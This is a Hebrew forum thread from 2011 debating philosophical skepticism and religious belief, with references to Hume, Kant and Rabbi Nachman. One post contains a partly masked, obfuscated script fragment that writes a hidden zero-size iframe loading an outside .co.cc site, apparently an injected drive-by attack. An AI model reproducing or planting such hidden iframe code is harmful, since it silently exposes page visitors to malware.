|
|
| נשלח ב-17/7/2011 23:11 |
 |
| |
בכדי להועיל לאלו שיקשה להם לקרוא את דבריו הארוכים מאד של ייתכן אסכם את כולם בשני מילים: "מהיכי תיתי"
ועל כל תשובה שתשיב תקבל את אותם שתי מילים כתשובה.
ועכשיו ייתכן,
כנראה דעתך כבר חלוטה ברוב הנושאים, אז אין כאן שואל רציני. ולמה אתה מטריח את עצמך לכתוב עוד ועוד, מה אתה רוצה בזה?
|
|
|
|
| נשלח ב-17/7/2011 23:35 |
|
| |
איש ציפור
הרשה לי לחלוק עליך.
יש כאן שואלים רציניים. מאד. ויש כאן שאלות רציניות. מאד. ולא רק באשכול זה.
התגובה כי "אין עם מי לדבר ואין טעם להשקיע" עלולה להראות כהתחמקות.
כתוב מה שיש לך לומר, את הראיות, את הדברים הנפלאים שזכית לגלות. אולי יהיה מישהו שיתרשם, שישקיע, אולי יהיה מישהו שייפתחו ליבו או עיניו. שים לב שכך נוהג שותף סוד כל פעם שהוא חש שיש מי שמקשיב.
ויש. לא כל הקוראים כאן גם מגיבים. צא והשווה בין מספר הכניסות לקריאה לבין מספר התגובות. בפורום שלנו אנשים משתדלים לא להגיב אלא אם כן יש להם מה לומר. יש אחריות, לדעתי, למי שיכול, גם להציג את עמדתו ולא רק להתבטא שיש לו הרבה דברים רציניים אלא שאין הוא מוכן להציגם.
זה נראה כמזלזל ואפילו מעליב.
וממה שאני מכירך, אתה רחוק מאד מסגנון כזה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-17/7/2011 23:47 |
|
| |
מיימוני
ואוי תעשה אתה משהו יותר רציני בכיוון הזה.
בינתיים מה שאתה עושה היא ליכנס כאן אחת לשבוע לכתוב כמה תגובות ולהיעלם.
כמה שאלות [גם שלי] מחכות לך באשכולות שונים.
|
|
|
|
| נשלח ב-17/7/2011 23:55 |
|
| |
אני גם בטוח ללא צל של ספק, כי אינני חכם יותר מכל המאמינים. ה' פתח את עיני להביט נכוחה על עולמו.
אלו דברי ייתכן. אם החלק השני לא נכתב בהומור, צריך לשאול: כלומר אתה מאמין בה' ובהשגחתו. עכשיו תוכיח !
|
|
|
|
| נשלח ב-17/7/2011 23:57 |
|
| |
ייתכן
יש לי כמה נקודות להעיר, וסלח לי על הביקורת האישית שעלולה להשתמע מהן.
א. יש חסרון ויתרון למי שקיבל חינוך חרדי וישיבתי. מצד אחד, זה מאד מפתח כלי חשיבה, כידוע לשנינו. מצד שני, ההיכרות עם העולם הרחב של המדע, המחקר, המתודולוגיה, נמנעת מאיתנו.
לפיכך, פעמים רבות האדם החרדי שמנסה ללמוד נושאים מדעיים, והוא בעל כשרון ויכולת (כמוך למשל) מגיע למצב שבו הוא "ממציא את הגלגל מחדש".
כך אתה מפתח מתודולוגיה חשובה ויקרת ערך של עמדה שניתן לזהות כספקנית (מסוג מסויים, כאשר יתברר). אבל אני משער שלא ידוע לך (ומהיכן תדע) שיש דיונים חכמים בנושא הזה מזה כמה אלפי שנים, והיכרות או השקעה בהיכרות עם תחומים אלו יכולה להעניק מונחים טכניים יעילים והיכרות עם עמדות, והבנה של הנחות היסוד שבתשתיתן.
בלי זה, גם האדם המוכשר ביותר יוכל לומר דברים חכמים מאד, אך השגתו עדיין לא תקיף את כל התמונה. לא את כל התמונה שיוכל לראות אדם פחות מוכשר, אך כזה שכבר למד את הנושא.
אני משער שדברי מציגים עליונות מסויימת של בעלי הידע. זה נכון, לצערי. אני משתדל בפורום תמיד לסכם את הנאמר במחקר במידה שזה ידוע לי. כך אנסה לעשות לקמן לגישה הספקנית לסוגיה.
מה שאני ממליץ הוא לשים לב שדבריך, שמסכמים בחן, בהומור ובחכמה, תשובות אפשריות לשאלת היסוד "מנלן", שכל אדם ראוי לשאול, מכירים רק חלק מן התגובות, ויש תגובות עשירות יותר. האם הן עונות לחלוטין? ודאי שלא! אבל עדיין יש מה ללמוד ולהכיר. בין השאר אתה עשוי לגלות כי העמדה שאתה מחזיק בה, עמדת השואל הרוצה לדעת ונזהר מפני התחייבות לשום דבר שאינו מוכח באופן בריא וברי, עמדה זו אינה "חלקה", ברורה ובריאה ונקיה מסתירות או מחולשות.
ואבאר.
ב. הדברים שאכתוב כאן מפורטים בהרחבה בספר יוצא מהכלל על תולדות הספקנות, "מגמות בתולדות הספקנות" של עדי פרוש.
פרוש מספר על כמה מן המפורסמים בספקנים שהיו בעבר. סקסטוס אמפריקוס, יום, ועוד שמות שכבר שכחתי. הוא גם מבדיל בין כמה עמדות ספקניות.
לכאורה, קל מאד להיות ספקן. כל מה שצריך הוא לשאול: מנלן, ולעמוד בעקשנות על הדרישה שלא להאמין בשום דבר שאין לו ראיות ברורות.
הבעיה היא שאם מפנים אותה דרישה כלפי הספקן עצמו, הוא מגלה שהוא עצמו נשאר בלי הרבה דברים ברורים ומובחנים כפי שאולי האמין.
יש דרך לצאת מן המבוך, אבל לכל דרך יש מחיר. מחיר לוגי ומחיר נפשי.
הספקן יכול לשאול: איך אני יודע שהטקסטים ההיסטוריים הם אמיתיים? הרי עלי למסור נפשי עליהם. (בשני מובנים חשובים. גם אם אדרש נניח לעבוד עבודה זרה, עלי למסור נפשי ולא לעשות זאת. כלומר לתת את חיי. שנית, אני מעצב את חיי לפי הדגמים שהטקסטים מציעים בפני. מדוע שאבחר דווקא בדרך זו.
ניתן לענות לו: וכי שאר המדעים בטוחים יותר, ודאיים יותר? האם תוכל להוכיח שמחר תזרח השמש?
זו השאלה המפורסמת של יום, שאלת האינדוקציה. (בקצרה, זה שעד היום זרחה השמש רק מראה שהעבר הרחוק גילה על העבר הקרוב, עד אתמול. אבל איך עוברים מן העבר בכללו אל העתיד? שום דבר אינו יכול להוות ראיה!
השאלה הזו עוררה את קאנט לבנות את הפילוסופיה שלו, שאמנם לא ענתה על השאלה, אבל שינתה את פני העולם. השאלה הזו עוררה את המדענים של היום להודות שבעצם הם רק מציעים תיאוריות אפשריות ולא ודאיות.
זה אומר שגם המדע שלנו אינו בהכרח נכון. זה אפילו לא "ידוע" (במובן החזק של ידיעה שייתכן כנראה מבקש) שהוא עובד. נתון רק שהוא עבד עד היום ואנו מצפים שהוא ימשיך לעבוד.
למעשה, אפשר לטעון, וכך טענו כמובן, שזו שאלת סרק. הרי כולנו יודעים שהמדע עובד. אבל זו הנקודה. למה? האם אנו מאמינים כי זה הכרח פסיכולוגי (יום), או שזה הדבר הטוב ביותר שיש לנו (רוב הפילוסופים של המדע)? או שיש תשובות אפילו פחות ברורות והרבה יותר מסובכות ופחות אינטואיטיביות?
ועדיין לא גמרנו את רשימת השאלות הקשות לספקן.
האם אתה יודע שאתה קיים? מה תוכל לומר על עצמך בוודאות?
הספקן ייאלץ להגיע לכך שהוא רק יכול להשמיע את טענתו של דקארט. "אני חושב אז אני קיים". אבל אותו יש חושב חייב להצטמצם לאותה מחשבה של קיום בלבד. השאר הוא זכרון, וזכרון אינו ניתן להוכחה.
ואם הספקן ירצה לטעון שהזכרון שלו אמין, זו כבר בעיה. הוא מתחיל לחזור אל המציאות, אל העולם, לאשר דברים מסויימים כנכונים למרות שאין עליהם תשובה מוחלטת.
למעשה, כפי שמראה פרוש בספרו, הספקן אפילו אינו יכול לטעון את טענתו האהובה "שום דבר לא ידוע" ו"הכל מסופק". הוא יכול, אם הוא רוצה להיות עקבי (וזו הדרישה האחרונה שנותרה לנו כפילוסופים) עליו לטעון שעד כמה שהוא מאמין ומסיק מן הנתונים, אין שום דבר ודאי...
ג. הספקן יכול לטעון שזה בדיוק המצב שלנו בעולם ואין ברירה אחרת. זו עמדה עקבית. וכיון שצריך לבחור במשהו, הוא בוחר. בערכים, בדת השכונה, בלעשות דווקא, בלמרוד, בלהפוך לפילוסוף או פרופסור לפילוסופיה, או לפתוח פורום... אבל אם ירצה להצדיק את בחירתו, כאן הוא כבר מתחיל להסתבך. עליו לתת העדפה לדרכים מסויימות בלי שיש להן הצדקה מוחלטת.
ומאי חזית?
ד. הספקן גם צריך לזכור שהוא עצמו יודע רק מה שהוא יודע ומכיר את חויותיו. אין הוא רשאי לשלול טענות של אחרים מכח מה שהוא אינו מכיר את הדברים שעליהם הם מדווחים. כל זאת אם הוא עקבי. לפיכך, הוא ייקלע למצב שבו יש שיחה שבה הוא יכול רק להיות האדם הגס והתובעני שטוען שאחרים אינם יודעים על מה הם מדברים ורק הוא כן.
כיון שאני מוצא את עצמי במצב דומה לשל הספקן (כפי שכתבתי כבר בראשית הפורום, עמדתי הבסיסית היא ספקנית...), אני מכיר את המצב הזה, ויש לי סימפטיה לספקנים. אבל אני גם מכיר את התשובה הנאה שכתב עבורם ר' נחמן מברסלב, ושביאר היטב מאד לדעתי הרב עדין שטיינזלץ. כל זאת בספר "ששה סיפורים של ר' נחמן מברסלב". הספר תמיד הומלץ על ידי ולקראת שבוע הספר הוא יצא בהדפסה מחודשת. כדאי מאד.
בדיון על הסיפור "החכם והתם" מסביר שטיינזלץ את ר' נחמן המציג שתי גישות. הגישה הספקנית המגולמת בידי החכם, שספקותיו מובילים אותו לפקפקנות רגשית, עד שהוא מגיע למסקנה שאין מלך וכל מי שמאמין במלך הולך אחרי הסיפורים שלא הוכחו. ואילו התם, שמתחיל כאדם שמוכן להאמין בכל, מפתח רגישות וחכמה להבדיל בין אמת לשקר, אך הוא זוכה ליותר מזה. הוא זוכה למפגש עם המלך. כאשר בסוף הסיפור הוא ייפגש עם הספקן החכם, והלה ישאל אותו: וכי ראית את המלך, התם יענה לו: כן. ויוסיף: ראה שאני הגעתי למקומך (כלומר למדתי את כל החכמה שלך) אבל אתה לא הגעת למקומי. לא זכית לצאת מן הספקנות.
הספקן יכול להמשיך לטעון שהתם שוגה באשליות. או שמה שהתם מדבר עליו הוא בלתי ניתן לשיחה בין אנשים שמותרם מן הבהמה במחשבה. אבל חוששני שהפעם ר' נחמן צודק. אם ניתן לפגוש את המלך, גם ניתן לספר על זה. ולמעשה, מי שהתחנך בדרך החרדית, סבורני שבדרך כלל היו לו מפגשים כאלו, ברמה מסויימת, כבר בילדותו. אלא שאדם עלול לשכוח, או לזלזל במה שהתגלה לו באותן חויות ראשוניות...
ר' נחמן מסיים את הסיפור בנימה פסימית. התרופה היחידה לספקן החכם היא לסבול עד שהסבל ינפץ את האשליה שלו ויפתח אותו לחויה חדשה. זה נראה מתנשא, מצער, מעליב. האם לא עדיף לדבר עם החכם ולפרוש בפניו את המלכות שמקיפה אותו ושבתוכה הוא חי?
אבל לשם כך עליו להיות מוכן לחוות וללכת אחרי מה שאינו "יכיח באופן מוחלט" לפי מה שהוא מכיר במצבו הנוכחי.
מה עושים?
יש כמה תשובות, אבל עייפתי מלסכמן וגם איני בטוח שאוכל לסכם אותן יפה כמו ייתכן בראשית האשכול...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-17/7/2011 23:59 |
|
| |
יהי אור
אנא דון אותי לכף זכות שאני כותב כמה שאני מספיק.
צא וראה באשכול הנוכחי שכתבתי תשובות ארוכות.
(אם כי הן ברורות לי וכיון שהן ברורות אני יכול לכתוב מייד אם כי לפעמים ארוך מאד, אולי ארוך מדי).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-18/7/2011 00:02 |
|
| |
ייתכן
אתה טוען שמותר האדם מן הבהמה אין כי הכל הבל
ויש כנראה כאלה שחושבים קצת אחרת היכן לפי דעתך ההיגיון יותר נמצא ?!
אני חושב שהאמת שכל אדם מכיר בה היא שיש מציאות לאמת האנושית
ומניין לך אם כן שהמציאות הזאת אינה מחייבת ?!
כשתתייחס בצורה מניחה את הדעת לנושא הבסיסי הזה תגלה שהספקנות היא לגמרי לא פשוטה כמו שאתה מניח אותה
יהיאור תמה עליך ואני חושב שההסבר הוא פשוט גם כשהמשמעות של העולם מבחינתך היא לשלול את קיומה גם היא יש בה משמעות לקיום כיון שגם היחס למציאות יש לה מציאות בעצמה ואתה עדיין מתייחס אליה ולכן אתה לא מרגיש צורך ליצור בה משמעות בעצמך
השלילה יכולה להחזיק זמן מוגבל ולבסוף כל אדם הגיוני צריך במוקדם ובמאוחר ליצור איזשהו משמעות אמתית לעולם שהוא חי בו הוא צריך לתרגם למושכל את המציאות בה הוא קיים [לקראת הסוף אמנם הרבה מתחילים לחשוב אלא שזה כבר מאוחר ויאוש הוא המוצא המקובל] ואם תהיה חכם תוכל לדלג על השלב הראשון של התוהו ולחזור ישר לתוכן ולאמת שבו נבראת - ויש שם כר נרחב מאוד להעמקה ועיון - חבל אם לא תשתמש ביכולת העיון שלך לדברים קצת יותר משמעותיים..
|
|
|
|
| נשלח ב-18/7/2011 00:06 |
|
| |
שגעונות הייד פארק - הנושא הסתדר מעצמו.
תוקן על ידי מיימוני ב- 18/07/2011 00:11:30
|
|
|
|
| נשלח ב-18/7/2011 00:07 |
|
| |
יעקב
אייקון ירוק!
[וראה באשכול שלי "מה בין שאלה לתפלה"]
|
|
|
|
| נשלח ב-18/7/2011 00:08 |
|
| |
מיותר. האבידה נמצאה. ראו בעמוד הראשון. (ועדיין אין לי מושג מה קרה כאן).******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 18/07/2011 00:10:44
|
|
|
|
| נשלח ב-18/7/2011 00:37 |
|
| |
יעקב 1
דבריך נכוחים. אבל ייתכן יכול להשיב שהנו מאמין באלוהי אינשטיין וביסודות המוסר האוניברסלי. בלי קשר לדת כלשהי. ובכך יש לכאורה מענה מלא למה שהעלית. (אגב, גם דוקינס מודיע בספרו שהינו מוכן להסכים לכך)
|
|
|
|
| נשלח ב-18/7/2011 00:53 |
|
| |
ספרן
אתה צודק, מה שהתכוונתי לומר הוא שפשוט צריך להתחיל לדון ולא לפטור את הכול בכלום ומאחר שכבר מרגישים את הבסיס האנושי הרגיל כבר קל יותר לראות ביתרון שיש בתורת ה' שיש בה גם תשובה שלמה יותר ולא רק הסבר כללי
יהיאור, תודה
|
|
|
|
| נשלח ב-18/7/2011 01:33 |
|
| |
ספרן ויעקב
זו השאלה החשובה למעשה, כלומר למעשה כל הפילוסופים והחושבים שמיימוני מציין אליהם אף א' מהם לא האמין בדת כמו שלנו, ואף לא חשבו שהוא נחוץ. ולכן חשוב מאד לנסות להסביר איך הדת יוצא מתוך ההנחה והמשמעות הפילוסופית. [כלומר טעמי המצוות. ועלינו להודות שהרמב"ם מספק תשובות גרועות מאד לשאלה הזאת]
|
|
|
|
| נשלח ב-18/7/2011 02:17 |
|
| |
יהי אור
הנקודה שבאתי להדגיש היא שאין אנו דוחים טיעונים (=אוסף של משפטים שבאים להצדיק אמירה מן האמירות) רק בגלל שאין לנו הוכחות ברמה של לוגיקה או מתמטיקה.
לאחר קבלת העיקרון הזה, עלינו לחזור ולמיין את האמונות במערכת האמונות שלנו, לדרג אותן לפי שיוכן, ולהחליט מה לקרב ומה לרחק.
אז יכול להתברר כי למרות שאין לנו ודאות, עדיין יש לנו ידע שראוי לסמוך עליו.
אני מדגיש: "ראוי לסמוך עליו" אינו זהה כלל ל"מוכח" מעבר למה שמכנים "הוכחה" במחקר ההיסטורי, שזה באמת דבר רופף למדי לתלות עליו אמונה שלפיה מעצבים חיים, או אף מקריבים אותם.
מסתבר שאדם יהודי שומר מצוות היום סומך על עוד שיקולים המצטרפים יחד. כגון החויות שלגביו אינן מעשה דמיון או תעתוע מוחי אלא דיאלוג עם האלוקים.
זה כמובן לא ברמה של מיסטיקאי, או ברמה של התם של ר' נחמן, שזוכה למפגש שאותו לא ניתן להטיל בספק וכנראה גם לא לשכוח או לפרש מחדש כאשליה. אבל זה כן מספיק כדי לנסות לחדש את המפגש הזה דרך המצוות, דרך התפילה, דרך התבודדות (בחדרי הלב גם אם לא חיצונית בשדה או ביער), דרך עשית האמת מפני שהיא אמת, דרך תחושה של התקרבות, אור, שמחה, שכולן מתפרשות לא כחויה שיכולה לנבוע רק מסיבות טבעיות, אלא ביטוי של השגחה ואהבה מעם הא-לוה.
האדם עצמו עלול לאחר זמן להתחיל לפקפק, לחשוד בעצמו. כפי שכתבו פעם בפורום, גם לאדם ירא השמים והדבק ביותר יש רגעים קשים. מכנים אותם, על פי תיאוריות אלו ואחרות, "נסיונות". וגם מחבר תהלים, ספר שאנו מייחסים ברובו לדוד המלך, לא היה פטור מהם.
אם אבוא לתאר בקצרה את החיים מתוך עמידה כזו מול האלקות, עולים על הדעת ביטויים כמו "התגברות", "האחזות באמונה בשינים לפעמים", וכן "רצוא ושוב" כדי לתאר את ההתחלפות בין רגעים של בטחון ואמונה, ודאות ואושר, לצד רגעים של ספק אינטלקטואלי כבד מנשוא.
אבל האם יש לנו משהו אחר? האם לא אמר אחד מבעלי הרגש הדתי של עמנו "ממך אליך אברח"?
אני חוזר על סיפור קלאסי בעיני (שכבר ראיתיו מצוטט בגרסאות אחרות ומיוחס לאדמורים שונים ולא כל הגרסאות נשאו חן בעיני כמו גרסתי שלי).
מעשה בחסיד אחד שבא אל האדמור כדי לשתפו במצוקה קשה. הוא רמז שוב ושוב שיש לו בעיות קשות, יסודיות, עמוקות, כאלו שהלב והמוח אינם מגלים זה לזה. והתשובה הקבועה של האדמור: אז מה יש? הכל בסדר...
בסופו של דבר החסיד מזדעק: אבל רבי, אני כבר לא מאמין בה'!
והאדמור עונה בשלוה: אז מה יש?
אבל רבי, ממשיך החסיד בייאוש, אם אין ה', אז זה איום ונורא!
והאדמור עונה: אם אתה מבין שבלי ה' אז זה איום ונורא, אז הכל בסדר.
אני מבין את הסיפור ואת התשובה כך: בתוכנו יש צורך עמוק שהאמונה בה' מספקת. אפשר לראות זאת כהונאה עצמית. ואפשר לראות זאת כמתנה שה' נטע בתוכנו כדי שלא נתנתק ממנו.
איך יודעים לקבוע? באמת איך אפשר?
אך יש לשים לב שלא הצדקתי כאן את "דת השכונה" במובן של אוסף האמונות שעליהם גדל הילד, בכל מקום שבו הוא גדל. אלא העליתי כאן טענה אקזציסטנציאליסטית. כלומר, אני חושף, לדעתי, משהו יסודי בפסיכולוגיה האנושית של היות-אדם. הצורך שמוביל אותנו אל "ממך אליך אברח". מן הספק הנורא שאולי אין למי לפנות והכל הונאה עצמית אני בורח בחזרה אל ה' כי בלעדיו אי אפשר.
גם על קאנט אמרו שכתשובה לבעית האינדוקציה של יום הוא "מאכיל אותנו את רעבוננו ומשקה אותנו את צמאוננו". אבל מה שיום ראה כנטיה פסיכולוגית של הנפש - לחיות כאילו האינדוקציה (=מחר תזרח השמש. מחר חוקי הטבע ימשיכו לנהוג כפי שנהגו) אני רואה כמשהו אקזיסטנציאליסטי. מאפיין הנובע מטבעו של האדם באשר הוא אדם.
נשארה שאלה: גם לפי שיטתי הראיתי כיצד מגלים את האלקים שהינו שומע תפילה ואוהב משפט וחסד. אבל היכן האלקים היהודי שנתן תורה? עלי לענות גם על שאלה זו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
| נשלח ב-18/7/2011 02:30 |
|
| |
|
|
|
|
|
